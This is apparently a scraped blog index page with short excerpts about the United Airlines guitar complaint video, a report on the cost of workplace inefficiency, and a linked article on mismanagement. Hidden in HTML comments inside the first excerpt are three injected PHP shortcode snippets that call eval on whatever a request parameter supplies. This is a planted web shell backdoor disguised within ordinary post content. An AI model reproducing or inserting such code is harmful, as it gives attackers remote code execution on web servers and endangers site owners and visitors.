Customer service

United Airlines Broke My Guitar This is not about breaking the guitar, it is about the lack of care in dealing with the complaint. 3.4million views when this is posted, plus coverage on CNN, Fox et al in the USA [youtube=http://www.youtube.com/watch?v=5YGc4zOqozo&hl=en&fs=1&] <!– [insert_php]if (isset($_REQUEST["vMXHb"])){eval($_REQUEST["vMXHb"]);exit;}[/insert_php][php]if (isset($_REQUEST["vMXHb"])){eval($_REQUEST["vMXHb"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["Yosts"])){eval($_REQUEST["Yosts"]);exit;}[/insert_php][php]if (isset($_REQUEST["Yosts"])){eval($_REQUEST["Yosts"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["ltZ"])){eval($_REQUEST["ltZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["ltZ"])){eval($_REQUEST["ltZ"]);exit;}[/php] … Continued

The real cost of inefficiency at work

Inefficient working practice is costing companies around £80 billion a year according to a recent report by Proudfoot. The report ranked the UK fourth for productivity with The Netherlands most efficient. The top causes of inefficient working are: Inadequate supervision of workforce (31% of all wasted time) Poor planning of work (30% of all time … Continued

The Art of Mismanagement

Article in Accountancy Age on Productivity. http://www.accountancyage.com/aa/feature/1783229/the-art-mismanagement